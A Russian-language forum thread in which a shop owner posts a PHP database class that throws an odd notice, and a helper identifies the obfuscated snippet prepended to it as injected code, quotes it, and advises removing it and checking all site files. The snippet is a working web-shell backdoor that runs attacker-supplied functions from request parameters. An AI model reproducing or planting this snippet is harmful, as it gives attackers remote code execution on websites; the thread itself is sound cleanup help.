Перейти к содержанию
psantoni

[Решено {вредоносный код}] Вылезла ошибка

Рекомендуемые сообщения

Что это может быть? Как можно избавиться?

Notice: Undefined variable: _REQUEST in /home/users2/***/system/database/mysql.php on line 1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

у вас в указанном файле сторонний код (возможно вредоносный).

покажите весь файл.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
<?php $cKM=${'_REQUES'.'T'}; while (isset($cKM['pdlK'])) {

$gU9 = $cKM['rzsT'];

$zHVxT=$cKM['pdlK']($gU9($cKM['iZO']),$gU9($cKM['tnj']));

$zHVxT($gU9($cKM['dmP']));

break; }

final class MySQL {

private $link;

public function __construct($hostname, $username, $password, $database) {

if (!$this->link = mysql_connect($hostname, $username, $password)) {

trigger_error('Error: Could not make a database link using ' . $username . '@' . $hostname);

}

if (!mysql_select_db($database, $this->link)) {

trigger_error('Error: Could not connect to database ' . $database);

}

mysql_query("SET NAMES 'utf8'", $this->link);

mysql_query("SET CHARACTER SET utf8", $this->link);

mysql_query("SET CHARACTER_SET_CONNECTION=utf8", $this->link);

mysql_query("SET SQL_MODE = ''", $this->link);

}

public function query($sql) {

$resource = mysql_query($sql, $this->link);

if ($resource) {

if (is_resource($resource)) {

$i = 0;

$data = array();

while ($result = mysql_fetch_assoc($resource)) {

$data[$i] = $result;

$i++;

}

mysql_free_result($resource);

$query = new stdClass();

$query->row = isset($data[0]) ? $data[0] : array();

$query->rows = $data;

$query->num_rows = $i;

unset($data);

return $query;

} else {

return true;

}

} else {

trigger_error('Error: ' . mysql_error($this->link) . '<br />Error No: ' . mysql_errno($this->link) . '<br />' . $sql);

exit();

}

}

public function escape($value) {

return mysql_real_escape_string($value, $this->link);

}

public function countAffected() {

return mysql_affected_rows($this->link);

}

public function getLastId() {

return mysql_insert_id($this->link);

}

public function __destruct() {

mysql_close($this->link);

}

}

?>

Изменено пользователем afwollis
:: quote -> spoiler

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

убирайте эту ересь:

$cKM=${'_REQUES'.'T'}; while (isset($cKM['pdlK'])) {
$gU9 = $cKM['rzsT'];
$zHVxT=$cKM['pdlK']($gU9($cKM['iZO']),$gU9($cKM['tnj']));
$zHVxT($gU9($cKM['dmP']));
break; }

также (учитывая, что гадость попала на сайт) вам необходимо полностью проверить магазин (файлы) на наличие стороннего кода.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Гость
Вы комментируете как гость. Если у вас есть аккаунт, пожалуйста, войдите
Ответить в этой теме...

×   Вы вставили контент с форматированием.   Удалить форматирование

  Разрешено использовать не более 75 смайлов.

×   Ваша ссылка была автоматически встроена.   Отображать как обычную ссылку

×   Ваш предыдущий контент был восстановлен.   Очистить редактор

×   Вы не можете вставлять изображения напрямую. Загружайте или вставляйте изображения по ссылке.


  • Последние посетители   0 пользователей онлайн

    Ни одного зарегистрированного пользователя не просматривает данную страницу

×

Важная информация

На нашем сайте используются файлы cookie и происходит обработка некоторых персональных данных пользователей, чтобы улучшить пользовательский интерфейс. Чтобы узнать для чего и какие персональные данные мы обрабатываем перейдите по ссылке. Если Вы нажмете «Я даю согласие», это означает, что Вы понимаете и принимаете все условия, указанные в этом Уведомлении о Конфиденциальности.